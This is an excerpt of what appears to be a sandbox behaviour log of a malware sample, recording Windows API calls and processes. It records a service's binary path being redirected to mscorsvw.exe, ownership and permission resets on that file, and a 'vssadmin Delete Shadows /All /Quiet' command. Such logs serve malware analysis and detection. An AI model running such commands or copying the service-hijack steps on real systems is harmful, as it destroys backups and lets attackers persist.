[0260.877] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.877] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.877] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.877] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.877] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0260.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de49f0 [0260.877] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpDst=0x1de49f0, nSize=0x3c | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x3b [0260.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b58 [0260.877] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0260.877] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0260.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0260.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d498 [0260.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.877] LocalFree (hMem=0x5d3a08) returned 0x0 [0260.877] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0260.877] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x5d6df8 [0260.878] ChangeServiceConfigW (in: hService=0x5d6df8, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0260.898] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d428) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d518) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0260.898] RegCloseKey (hKey=0x15c) returned 0x0 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0260.898] RegCloseKey (hKey=0x154) returned 0x0 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0260.898] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0260.899] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa6eabc3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x10350)) returned 1 [0260.907] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.907] GetLastError () returned 0x5 [0260.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0260.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0260.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de8298 [0260.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0260.908] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0260.908] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de8298) returned 1 [0260.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0260.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0260.908] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0260.908] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpProcessInformation=0x18fbc0*(hProcess=0x15c, hThread=0x154, dwProcessId=0x154, dwThreadId=0xe8)) returned 1 [0260.914] NtClose (Handle=0x154) returned 0x0 [0260.914] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0260.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de8298 [0260.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0260.914] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de8298) returned 1 [0260.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de8298 [0260.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0260.914] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0260.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0260.914] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de8298) returned 1 [0260.915] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x2710) returned 0x0 [0261.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0261.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e680 [0261.504] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0261.504] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe /reset", lpProcessInformation=0x18fbc0*(hProcess=0x164, hThread=0x154, dwProcessId=0x208, dwThreadId=0x320)) returned 1 [0261.512] NtClose (Handle=0x154) returned 0x0 [0261.521] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e680) returned 1 [0261.521] NtClose (Handle=0x15c) returned 0x0 [0261.521] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x2710) Thread: id = 995 os_tid = 0x684 Process: id = "81" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x6a90e000" os_pid = "0x6c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 996 os_tid = 0x680 Thread: id = 999 os_tid = 0x5d4 Thread: id = 1003 os_tid = 0x5bc Thread: id = 1004 os_tid = 0x5cc Thread: id = 1005 os_tid = 0x588 Process: id = "82" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6ad13000" os_pid = "0x674" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 997 os_tid = 0x65c Thread: id = 998 os_tid = 0x718 Process: id = "83" image_name = "aspnet_state.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe" page_root = "0x6ae3d000" os_pid = "0x740" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 1000 os_tid = 0x5d0 [0250.061] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" [0250.061] GetStockObject (i=168) returned 0x0 [0250.061] GetAsyncKeyState (vKey=58) returned 0 [0250.061] GetKBCodePage () returned 0x1b5 [0250.061] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.061] GetFocus () returned 0x0 [0250.061] GetAsyncKeyState (vKey=58) returned 0 [0250.061] GetKBCodePage () returned 0x1b5 [0250.061] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.061] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.062] GetFocus () returned 0x0 [0250.062] GetAsyncKeyState (vKey=58) returned 0 [0250.062] GetKBCodePage () returned 0x1b5 [0250.062] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.063] GetFocus () returned 0x0 [0250.063] GetAsyncKeyState (vKey=58) returned 0 [0250.063] GetKBCodePage () returned 0x1b5 [0250.063] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.064] GetFocus () returned 0x0 [0250.064] GetAsyncKeyState (vKey=58) returned 0 [0250.064] GetKBCodePage () returned 0x1b5 [0250.064] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 